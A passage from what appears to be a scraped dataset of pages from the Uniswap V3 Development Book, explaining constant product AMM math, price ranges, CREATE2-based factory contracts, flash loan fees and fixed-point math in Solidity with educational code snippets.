to measure the demand: the more tokens you want to remove from a pool (relative to pools reserves), the higher the impact of demand is. Lets return to the trade formula and look at it closer: $$(x + r\\Delta x)(y - \\Delta y) = xy$$ As you can see, we can derive $\\Delta x$ and $\\Delta y$ from it, which means we can calculate the output amount of a trade based on the input amount and vice versa: $$\\Delta y = \\frac{yr\\Delta x}{x + r\\Delta x}$$ $$\\Delta x = \\frac{x \\Delta y}{r(y - \\Delta y)}$$ In fact, these formulas free us from calculating prices! We can always find the output amount using the $\\Delta y$ formula (when we want to sell a known amount of tokens) and we can always find the input amount using the $\\Delta x$ formula (when we want to buy a known amount of tokens). Notice that each of these formulas is a relation of reserves ($x/y$ or $y/x$) and they also take the trade amount ($\\Delta x$ in the former and $\\Delta y$ in the latter) into consideration. These are the pricing functions that respect both supply and demand . And we dont even need to calculate the prices! Heres how you can derive the above formulas from the trade function: $$(x + r\\Delta x)(y - \\Delta y) = xy$$ $$y - \\Delta y = \\frac{xy}{x + r\\Delta x}$$ $$-\\Delta y = \\frac{xy}{x + r\\Delta x} - y$$ $$-\\Delta y = \\frac{xy - y({x + r\\Delta x})}{x + r\\Delta x}$$ $$-\\Delta y = \\frac{xy - xy - y r \\Delta x}{x + r\\Delta x}$$ $$-\\Delta y = \\frac{- y r \\Delta x}{x + r\\Delta x}$$ $$\\Delta y = \\frac{y r \\Delta x}{x + r\\Delta x}$$ And: $$(x + r\\Delta x)(y - \\Delta y) = xy$$ $$x + r\\Delta x = \\frac{xy}{y - \\Delta y}$$ $$r\\Delta x = \\frac{xy}{y - \\Delta y} - x$$ $$r\\Delta x = \\frac{xy - x(y - \\Delta y)}{y - \\Delta y}$$ $$r\\Delta x = \\frac{xy - xy + x \\Delta y}{y - \\Delta y}$$ $$r\\Delta x = \\frac{x \\Delta y}{y - \\Delta y}$$ $$\\Delta x = \\frac{x \\Delta y}{r(y - \\Delta y)}$$ The Curve # The above calculations might seem too abstract and dry. Lets visualize the constant product function to better understand how it works. When plotted, the constant product function is a quadratic hyperbola: Where axes are the pool reserves. Every trade starts at the point on the curve that corresponds to the current ratio of reserves. To calculate the output amount, we need to find a new point on the curve, which has the $x$ coordinate of $x+\\Delta x$, i.e. current reserve of token 0 + the amount were selling. The change in $y$ is the amount of token 1 well get. Lets look at a concrete example: The purple line is the curve, the axes are the reserves of a pool (notice that theyre equal at the start price). Start price is 1. Were selling 200 of token 0. If we use only the start price, we expect to get 200 of token 1. However, the execution price is 0.666, so we get only 133.333 of token 1! This example is from the Desmos chart made by Dan Robinson , one of the creators of Uniswap. To build a better intuition of how it works, try making up different scenarios and plotting them on the graph. Try different reserves, see how output amount changes when $\\Delta x$ is small relative to $x$. As the legend goes, Uniswap was invented in Desmos. I bet youre wondering why using such a curve? It might seem like it punishes you for trading big amounts. This is true, and this is a desirable property! The law of supply and demand tells us that when demand is high (and supply is constant) the price is also high. And when demand is low, the price is also lower. This is how markets work. And, magically, the constant product function implements this mechanism! Demand is defined by the amount you want to buy, and supply is the pool reserves. When you want to buy a big amount relative to pool reserves the price is higher than when you want to buy a smaller amount. Such a simple formula guarantees such a powerful mechanism! Even though Uniswap doesnt calculate trade prices, we can still see them on the curve. Surprisingly, there are multiple prices when making a trade: Before a trade, theres a spot price . Its equal to the relation of reserves, $y/x$ or $x/y$ depending on the direction of the trade. This price is also the slope of the tangent line at the starting point. After a trade, theres a new spot price, at a different point on the curve. And its the slope of the tangent line at this new point. The actual price of the trade is the slope of the line connecting the two points! And thats the whole math of Uniswap! Phew! Well, this is the math of Uniswap V2, and were studying Uniswap V3. So in the next part, well see how the mathematics of Uniswap V3 is different. \\[ \\] Constant Function Market Makers The trade function Pricing The Curve", "labels": ["Documentation"]}, {"title": "Different Price Ranges #", "html_url": "https://uniswapv3book.com/docs/milestone_3/different-ranges/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Different Price Ranges Different Price Ranges Limit Orders Updating mint Function Different Price Ranges # The way we implemented it, our Pool contract creates only price ranges that include the current price: // src/UniswapV3Pool.sol function mint ( ... amount0 = Math.calcAmount0Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(upperTick), amount ); amount1 = Math.calcAmount1Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(lowerTick), amount ); liquidity += uint128 (amount); ... } From this piece you can also see that we always update the liquidity tracker (which tracks only currently available liquidity, i.e. liquidity available at the current price). However, in reality, price ranges can also be created below or above the current price. Thats it: the design of Uniswap V3 allows liquidity provider to provide liquidity that doesnt get immediately used. Such liquidity gets injected when current price gets into such sleeping price ranges. These are kinds of price ranges that can exist: Active price range, i.e. one that includes current price. Price range placed below current price. The upper tick of this range is below the current tick. Price range placed above current price. The lower tick of this range is above the current tick. Limit Orders # An interesting fact about inactive liquidity (i.e. liquidity not provided at current price) is that it acts as limit orders . In trading, limit orders are orders that get executed when price crosses a level chosen by trader. For example, you can place a limit order that buys 1 ETH when its price drops to $1000. Similarly, you can use limit order to sell assets. With Uniswap V3, you can get similar behavior by placing liquidity at ranges that are below or above current price. Lets see how this works: If you provide liquidity below current price (i.e. the price range you chose lays entirely below the current price) or above it, then your whole liquidity will be composed of only one asset the asset will be the cheaper one of the two. In our example, were building a pool with ETH being token $x$ and USDC being token $y$, and we define the price as: $$P = \\frac{y}{x}$$ If we put liquidity below current price, then the liquidity will be composed of USDC solely because, where we added the liquidity, the price of USDC is lower than the current price. Likewise, when we put liquidity above current price, then the liquidity will be composed of ETH because ETH is cheaper in that range. Recall this illustration from the introduction: If we buy all available amount of ETH from this range, the range will contain only the other token, USDC, and the price will move to the right of the curve. The price, as we defined it ($\\frac{y}{x}$), will increase . If theres a price range to the right of this one, it needs to have ETH liquidity, and only ETH, not USDC: it needs to provide ETH for next swaps. If we keep buying and rising the price, we might drain the next price range as well, which means buying all its ETH and selling USDC. Again, the price range ends up having only USDC and current price moves outside of it. Similarly, if were buying USDC token, we move the price to the left and removing USDC tokens from the pool. The next price range will only contain USDC tokens to satisfy our demand, and, similarly to the above scenario, will end up containing only ETH tokens if we buy all USDC from it. Note the interesting fact: when crossing an entire price range, its liquidity is swapped from one token to another. And if we set a very narrow price range, one that gets crossed quickly during a price move, we get a limit order! For example, if you want to buy ETH at a lower price, you need to place a price range containing only USDC at the lower price and wait for current price to cross it. After that, youll need to remove your liquidity and get it whole converted to ETH! I hope this example didnt confuse you! I think this is good way to explain the dynamics of price ranges. Updating mint Function # To support all the kinds of price ranges, we need to know whether the current price is below, inside, or above the price range specified by user and calculate token amounts accordingly. If the price range is above the current price, we want the liquidity to be composed of token $x$: // src/UniswapV3Pool.sol function mint ( ... if (slot0_.tick < lowerTick) { amount0 = Math.calcAmount0Delta( TickMath.getSqrtRatioAtTick(lowerTick), TickMath.getSqrtRatioAtTick(upperTick), amount ); ... When the price range includes the current price, we want both tokens in amounts proportional to the price (this is the scenario we implemented earlier): } else if (slot0_.tick < upperTick) { amount0 = Math.calcAmount0Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(upperTick), amount ); amount1 = Math.calcAmount1Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(lowerTick), amount ); liquidity = LiquidityMath.addLiquidity(liquidity, int128 (amount)); Notice that this is the only scenario where we want to update liquidity since the variable tracks liquidity thats available immediately. In all other cases, when the price range is below the current price, we want the range to contain only token $y$: } else { amount1 = Math.calcAmount1Delta( TickMath.getSqrtRatioAtTick(lowerTick), TickMath.getSqrtRatioAtTick(upperTick), amount ); } And thats it! \\[ \\] Different Price Ranges Limit Orders Updating mint Function", "labels": ["Documentation"]}, {"title": "ERC721 Overview #", "html_url": "https://uniswapv3book.com/docs/milestone_6/erc721-overview/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer ERC721 Overview ERC721 Overview ERC721 Overview # Lets begin with an overview of EIP-721 , the standard that defines NFT contracts. ERC721 is a variant of ERC20. The main difference between them is that ERC721 tokens are non-fungible , that is: one token is not identical to another. To distinguish ERC721 tokens, each of them has a unique ID, which is almost always the counter at which a token was minted. ERC721 tokens also have an extended concept of ownership: owner of each token is tracked and stored in the contract. This means that only distinct tokens, identified by token IDs, can be transferred (or approved for transfer). What Uniswap V3 liquidity positions and NFTs have in common is this non-fungibility: NFTs and liquidity positions are not interchangeable and are identified by unique IDs. Its this similarity that will allow us to merge the two concepts. The biggest difference between ERC20 and ERC721 is the tokenURI function in the latter. NFT tokens, which are implemented as ERC721 smart contracts, have linked assets that are stored externally, not on blockchain. To link token IDs to images (or sounds, or anything else) stored outside of blockchain, ERC721 defines the tokenURI function. The function is expected to return a link to a JSON file that defines NFT token metadata, e.g.: { \"name\" : \"Thor's hammer\" , \"description\" : \"Mjlnir, the legendary hammer of the Norse god of thunder.\" , \"image\" : \"https://game.example/item-id-8u5h2m.png\" , \"strength\" : 20 } (This example is taken from the ERC721 documentation on OpenZeppelin ) Such JSON file defines: the name of a token, the description of a collection, the link to the image of a token, properties of a token. Alternatively, we may store JSON metadata and token images on-chain. This is very expensive of course (saving data on-chain is the most expensive operation in Ethereum), but we can make it cheaper if we store templates. All tokens within a collection have similar metadata (mostly identical but image links and properties are different for each token) and visuals. For the latter, we can use SVG, which is an HTML-like format, and HTML is a good templating language. When storing JSON metadata and SVG on-chain, the tokenURI function, instead of returning a link, would return JSON metadata directly, using the data URI scheme to encode it. SVG images would also be inlined, it wont be necessary making external requests to download token metadata and image. ERC721 Overview", "labels": ["Documentation"]}, {"title": "Factory Contract #", "html_url": "https://uniswapv3book.com/docs/milestone_4/factory-contract/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Factory Contract Factory Contract CREATE and CREATE2 Opcodes Tick Spacing Factory Implementation Pool Initialization PoolAddress Library Simplified Interfaces of Manager and Quoter Factory Contract # Uniswap is designed in a way that assumes many discrete Pool contracts, with each pool handling swaps of one token pair. This looks problematic when we want to swap between two tokens that dont have a poolif theres no pool, no swaps are possible. However, we can still do intermediate swaps: first swap to a token that has pairs with either of the tokens and then swap this token to the target token. This can also go deeper and have more intermediate tokens. However, doing this manually is cumbersome, and, luckily, we can make the process easier by implementing it in our smart contracts. Factory contract is a contract that serves multiple purposes: It acts as a centralized registry of Pool contracts. Using a factory, you can find all deployed pools, their tokens, and addresses. It simplifies deployment of Pool contracts. EVM allows to deploy smart contracts from smart contractsFactory uses this feature to make pools deployment a breeze. It makes pool addresses predictable and allows to compute them without making calls to the registry. This makes pools easily discoverable. Lets build Factory contract! But before doing this, we need to learn something new. CREATE and CREATE2 Opcodes # EVM has two ways of deploying contracts: via CREATE or via CREATE2 opcode. The only difference between them is how new contract address is generated: CREATE uses deployers account nonce to generate a contract address (in pseudocode): KECCAK256(deployer.address, deployer.nonce) nonce is an account-specific counter of transactions. Using nonce in new contract address generation makes it hard to compute an address in other contracts or off-chain apps, mainly because, to find the nonce a contract was deployed at, one needs to scan historical account transactions. CREATE2 uses a custom salt to generate a contract address. This is just an arbitrary sequence of bytes chosen by a developer, which is used to make address generation deterministic (and reduces the chance of a collision). KECCAK256(deployer.address, salt, contractCodeHash) We need to know the difference because Factory uses CREATE2 when deploying Pool contracts so pools get unique and deterministic addresses that can be computed in other contracts and off-chain apps. Specifically, for salt, Factory computes a hash using these pool parameters: keccak256(abi.encodePacked(token0, token1, tickSpacing)) token0 and token1 are the addresses of pool tokens, and tickSpacing is something were going to learn about next. Tick Spacing # Recall the loop in swap function: while ( state.amountSpecifiedRemaining > 0 && state.sqrtPriceX96 != sqrtPriceLimitX96 ) { ... (step.nextTick, ) = tickBitmap.nextInitializedTickWithinOneWord(...); (state.sqrtPriceX96, step.amountIn, step.amountOut) = SwapMath.computeSwapStep(...); ... } This loop finds initialized ticks that have some liquidity by iterating them in either of the directions. This iterating, however, is an expensive operation: if a tick is far away, the code would need to pass all the ticks between the current and the target one, which consumes gas. To make this loop more gas-efficient, Uniswap pools have tickSpacing setting, which sets, as the name suggest, the distance between ticks: the wider the distance, the more gas efficient swaps are. However, the wider a tick spacing the lower the precision. Low volatility pairs (e.g. stablecoin pairs) need higher precision because price movements are narrow in such pairs. Medium and high volatility pairs need lower precision since price movement are wide in such pairs. To handle this diversity, Uniswap allows to pick a tick spacing when a pair is deployed. Uniswap allows deployers to choose from these options: 10, 60, or 200. And well have only 10 and 60 for simplicity. In technical terms, tick indexes can only be multiples of tickSpacing : if tickSpacing is 10, only multiples of 10 will be valid as tick indexes (10, 20, 5000, 5010, but not 8, 12, 5001, etc.). However, and this is important, this doesnt apply to the current priceit can still be any tick because we want it to be as precise as possible. tickSpacing is only applied to price ranges. Thus, each pool is uniquely identified by this set of parameters: token0 , token1 , tickSpacing ; And, yes, there can be pools with the same tokens but different tick spacings. Factory contract uses this set of parameters as a unique identifier of a pool and passes it as a salt to generate a new pool contract address. From now on, well assume the tick spacing of 60 for all our pools, and well use 10 for stablecoin pairs. Factory Implementation # In the constructor of Factory, we need to initialize supported tick spacings: // src/UniswapV3Factory.sol contract UniswapV3Factory is IUniswapV3PoolDeployer { mapping ( uint24 => bool ) public tickSpacings; constructor () { tickSpacings[ 10 ] = true ; tickSpacings[ 60 ] = true ; } ... We couldve made them constants, but well need to have it as a mapping for a later milestone (tick spacings will have different swap fee amounts). Factory contract is a contract with only one function createPool . The function begins with necessary checks we need to make before creating a pool: // src/UniswapV3Factory.sol contract UniswapV3Factory is IUniswapV3PoolDeployer { PoolParameters public parameters; mapping ( address => mapping ( address => mapping ( uint24 => address ))) public pools; ... function createPool ( address tokenX, address tokenY, uint24 tickSpacing ) public returns ( address pool) { if (tokenX == tokenY) revert TokensMustBeDifferent(); if ( ! tickSpacings[tickSpacing]) revert UnsupportedTickSpacing(); (tokenX, tokenY) = tokenX < tokenY ? (tokenX, tokenY) : (tokenY, tokenX); if (tokenX == address ( 0 )) revert TokenXCannotBeZero(); if (pools[tokenX][tokenY][tickSpacing] != address ( 0 )) revert PoolAlreadyExists(); ... Notice that this is first time when were sorting tokens: (tokenX, tokenY) = tokenX < tokenY ? (tokenX, tokenY) : (tokenY, tokenX); From now on, well also expect pool token addresses to be sorted, i.e. token0 goes before token1 when sorted. Well enforce this to make salt (and pool addresses) computation consistent. This change also affects how we deploy tokens in tests and the deployment script: we need to ensure that WETH is always token0 to make price calculations simpler in Solidity (otherwise, wed need to use fractional prices, like 1/5000). If WETH is not token0 in your tests, change the order of token deployments. After that, we prepare pool parameters and deploy a pool: parameters = PoolParameters({ factory : address (this), token0 : tokenX, token1 : tokenY, tickSpacing : tickSpacing }); pool = address ( new UniswapV3Pool{ salt : keccak256(abi.encodePacked(tokenX, tokenY, tickSpacing)) }() ); delete parameters; This piece looks weird because parameters is not used. Uniswap uses Inversion of Control to pass parameters to a pool during deployment. Lets look at updated Pool contract constructor: // src/UniswapV3Pool.sol contract UniswapV3Pool is IUniswapV3Pool { ... constructor () { (factory, token0, token1, tickSpacing) = IUniswapV3PoolDeployer( msg.sender ).parameters(); } .. } Aha! Pool expects its deployer to implement IUniswapV3PoolDeployer interface (which only defines the parameters() getter) and calls it in the constructor during deployment to get the parameters. This is what the flow looks like: Factory : defines parameters state variable (implements IUniswapV3PoolDeployer ) and sets it before deploying a pool. Factory : deploys a pool. Pool : in the constructor, calls parameters() function on its deployer and expects that pool parameters are returned. Factory : calls delete parameters; to clean up the slot of parameters state variable and to reduce gas consumption. This is a temporary state variable that has a value only during a call to createPool() . After a pool is created, we keep it in the pools mapping (so it can be found by its tokens) and emit an event: pools[tokenX][tokenY][tickSpacing] = pool; pools[tokenY][tokenX][tickSpacing] = pool; emit PoolCreated(tokenX, tokenY, tickSpacing, pool); } Pool Initialization # As you have noticed from the code above, we no longer set sqrtPriceX96 and tick in Pools constructorthis is now done in a separate function, initialize , that needs to be called after pool is deployed: // src/UniswapV3Pool.sol function initialize ( uint160 sqrtPriceX96) public { if (slot0.sqrtPriceX96 != 0 ) revert AlreadyInitialized(); int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96); slot0 = Slot0({sqrtPriceX96 : sqrtPriceX96, tick : tick}); } So this is how we deploy pools now: UniswapV3Factory factory = new UniswapV3Factory(); UniswapV3Pool pool = UniswapV3Pool(factory.createPool(token0, token1, tickSpacing)); pool.initialize(sqrtP(currentPrice)); PoolAddress Library # Lets now implement a library that will help us calculate pool contract addresses from other contracts. This library will have only one function, computeAddress : // src/lib/PoolAddress.sol library PoolAddress { function computeAddress ( address factory, address token0, address token1, uint24 tickSpacing ) internal pure returns ( address pool) { require(token0 < token1); ... The function needs to know pool parameters (theyre used to build a salt) and Factory contract address. It expects the tokens to be sorted, which we discussed above. Now, the core of the function: pool = address ( uint160 ( uint256 ( keccak256( abi.encodePacked( hex\"ff\" , factory, keccak256( abi.encodePacked(token0, token1, tickSpacing) ), keccak256(type( UniswapV3Pool ).creationCode) ) ) ) ) ); This is what CREATE2 does under the hood to calculate new contract address. Lets unwind it: first, we calculate salt ( abi.encodePacked(token0, token1, tickSpacing) ) and hash it; then, we obtain Pool contract code ( type(UniswapV3Pool).creationCode ) and also hash it; then, we build a sequence of bytes that includes: 0xff , Factory contract address, hashed salt, and hashed Pool contract code; we then hash the sequence and convert it to an address. These steps implement contract address generation as its defined in EIP-1014 , which is the EIP that added CREATE2 opcode. Lets look closer at the values that constitute the hashed byte sequence: 0xff , as defined in the EIP, is used to distinguish addresses generated by CREATE and CREATE2 ; factory is the address of the deployer, in our case a Factory contract; salt was discussed earlierit uniquely identifies a pool; hashed contract code is needed to protect from collisions: different contracts can have the same salt, but their code hash will be different. So, according to this scheme, a contract address is a hash of the values that uniquely identify this contract, including its deployer, code, and unique parameters. We can use this function from anywhere to find out a pool address without making any external calls and without querying the factory. Simplified Interfaces of Manager and Quoter # In Manager and Quoter contracts, we no longer need to ask users for pool address! This makes interaction with the contracts easier because users dont need to know pool addresses, they only need to know tokens. However, users also need to specify tick spacing because its included in pools salt. Moreover, we no longer need to ask users for the zeroForOne flag because we can now always figure it out thanks to tokens sorting. zeroForOne is true when from token is less than to token, since pools token0 is always less than token1 . Likewise, zeroForOne is always false when from token is greater than to token. Addresses are hashes, and hashes are numbers, so we can say less than or greater that when comparing addresses. Factory Contract CREATE and CREATE2 Opcodes Tick Spacing Factory Implementation Pool Initialization PoolAddress Library Simplified Interfaces of Manager and Quoter", "labels": ["Documentation"]}, {"title": "Output Amount Calculation #", "html_url": "https://uniswapv3book.com/docs/milestone_2/output-amount-calculation/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Output Amount Calculation Output Amount Calculation Output Amount Calculation # Our collection of Uniswap math formulas lacks a final piece: the formula of calculating the output amount when selling ETH (that is: selling token $x$). In the previous milestone, we had an analogous formula for the scenario when ETH is bought (buying token $x$): $$\\Delta \\sqrt{P} = \\frac{\\Delta y}{L}$$ This formula finds the change in the price when selling token $y$. We then added this change to the current price to find the target price: $$\\sqrt{P_{target}} = \\sqrt{P_{current}} + \\Delta \\sqrt{P}$$ Now, we need a similar formula to find the target price when selling token $x$ (ETH in our case) and buying token $y$ (USDC in our case). Recall that the change in token $x$ can be calculated as: $$\\Delta x = \\Delta \\frac{1}{\\sqrt{P}}L$$ From this formula, we can find the target price: $$\\Delta x = (\\frac{1}{\\sqrt{P_{target}}} - \\frac{1}{\\sqrt{P_{current}}}) L$$ $$= \\frac{L}{\\sqrt{P_{target}}} - \\frac{L}{\\sqrt{P_{current}}}$$ From this, we can find $\\sqrt{P_{target}}$ using basic algebraic transformations: $$\\sqrt{P_{target}} = \\frac{\\sqrt{P}L}{\\Delta x \\sqrt{P} + L}$$ Knowing the target price, we can find the output amount similarly to how we found it in the previous milestone. Lets update our Python script with the new formula: # Swap ETH for USDC amount_in = 0.01337 * eth print( f \" \\n Selling { amount_in / eth } ETH\" ) price_next = int((liq * q96 * sqrtp_cur) // (liq * q96 + amount_in * sqrtp_cur)) print( \"New price:\" , (price_next / q96) ** 2 ) print( \"New sqrtP:\" , price_next) print( \"New tick:\" , price_to_tick((price_next / q96) ** 2 )) amount_in = calc_amount0(liq, price_next, sqrtp_cur) amount_out = calc_amount1(liq, price_next, sqrtp_cur) print( \"ETH in:\" , amount_in / eth) print( \"USDC out:\" , amount_out / eth) Its output: Selling 0.01337 ETH New price: 4993.777388290041 New sqrtP: 5598789932670289186088059666432 New tick: 85163 ETH in: 0.013369999999998142 USDC out: 66.80838889019013 Which means that well get 66.8 USDC when selling 0.01337 ETH using the liquidity we provided in the previous step. This looks good, but enough of Python! Were going to implement all the math calculations in Solidity. \\[ \\] Output Amount Calculation", "labels": ["Documentation"]}, {"title": "Swap Fees #", "html_url": "https://uniswapv3book.com/docs/milestone_5/swap-fees/", "body": "Swap Fees #", "labels": ["Documentation"]}, {"title": "Cross-Tick Swaps #", "html_url": "https://uniswapv3book.com/docs/milestone_3/cross-tick-swaps/", "body": "Cross-Tick Swaps #", "labels": ["Documentation"]}, {"title": "Flash Loan Fees #", "html_url": "https://uniswapv3book.com/docs/milestone_5/flash-loan-fees/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Flash Loan Fees Flash Loan Fees Flash Loan Fees # In a previous chapter we implemented flash loans and made them free. However, Uniswap collects swap fees on flash loans, and were going to add this to our implementation: the amounts repaid by flash loan borrowers must include a fee. Heres what the updated flash function looks like: function flash ( uint256 amount0, uint256 amount1, bytes calldata data ) public { uint256 fee0 = Math.mulDivRoundingUp(amount0, fee, 1 e6); uint256 fee1 = Math.mulDivRoundingUp(amount1, fee, 1 e6); uint256 balance0Before = IERC20(token0).balanceOf( address (this)); uint256 balance1Before = IERC20(token1).balanceOf( address (this)); if (amount0 > 0 ) IERC20(token0).transfer(msg.sender, amount0); if (amount1 > 0 ) IERC20(token1).transfer(msg.sender, amount1); IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback( fee0, fee1, data ); if (IERC20(token0).balanceOf( address (this)) < balance0Before + fee0) revert FlashLoanNotPaid(); if (IERC20(token1).balanceOf( address (this)) < balance1Before + fee1) revert FlashLoanNotPaid(); emit Flash(msg.sender, amount0, amount1); } Whats changed is that were now calculating fees on the amounts requested by caller and then expect pool balances to have grown by the fee amounts. Flash Loan Fees", "labels": ["Documentation"]}, {"title": "Math in Solidity #", "html_url": "https://uniswapv3book.com/docs/milestone_2/math-in-solidity/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Math in Solidity Math in Solidity Re-using Math Contracts Math in Solidity # Due to Solidity not supporting numbers with th fractional part, math in Solidity is somewhat complicated. Solidity gives us integer and unsigned integer types, which are not enough for for more or less complex math calculations. Another difficulty is gas consumption: the more complex an algorithm, the more gas it consumes. Thus, if we need to have advanced math operations (like exp , ln , sqrt ), we want them to be as gas efficient as possible. And another big problem is the possibility of under/overflow. When multiplying uint256 numbers, theres a risk of an overflow: the result number might be so big that it wont fit into 256 bits. All these difficulties force us to use third-party math libraries that implement advanced math operations and, ideally, optimize their gas consumption. In the case when theres no library for an algorithm we need, well have to implement it ourselves, which is a difficult task if we need to implement a unique computation. Re-using Math Contracts # In our Uniswap V3 implementation, were going to use two third-party math contracts: PRBMath , which is a great library of advanced fixed-point math algorithms. Well use mulDiv function to handle overflows when multiplying and then dividing integer numbers. TickMath from the original Uniswap V3 repo. This contract implements two functions, getSqrtRatioAtTick and getTickAtSqrtRatio , which convert $\\sqrt{P}$s to ticks and back. Lets focus on the latter. In our contracts, well need to convert ticks to corresponding $\\sqrt{P}$ and back. The formulas are: $$\\sqrt{P(i)} = \\sqrt{1.0001^i} = 1.0001^{\\frac{i}{2}}$$ $$i = log_{\\sqrt{1.0001}}\\sqrt{P(i)}$$ These are complex mathematical operations (for Solidity, at least) and they require high precision because we dont want to allow rounding errors when calculating prices. To have better precision and optimization well need unique implementation. If you look at the original code of getSqrtRatioAtTick and getTickAtSqrtRatio youll see that theyre quite complex: therere a lot of magic numbers (like 0xfffcb933bd6fad37aa2d162d1a594001 ), multiplication, and bitwise operations. At this point, were not going to analyze the code or re-implement it since this is a very advanced and somewhat different topic. Well use the contract as is. And, in a later milestone, well break down the computations. \\[ \\] Math in Solidity Re-using Math Contracts", "labels": ["Documentation"]}, {"title": "NFT Manager Contract #", "html_url": "https://uniswapv3book.com/docs/milestone_6/nft-manager/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer NFT Manager NFT Manager Contract The Minimal Contract Minting Adding Liquidity Remove Liquidity Collecting Tokens Burning NFT Manager Contract # Obviously, were not going to add NFT-related functionality to the pool contractwe need a separate contract that will merge NFTs and liquidity positions. Recall that, while working on our implementation, we 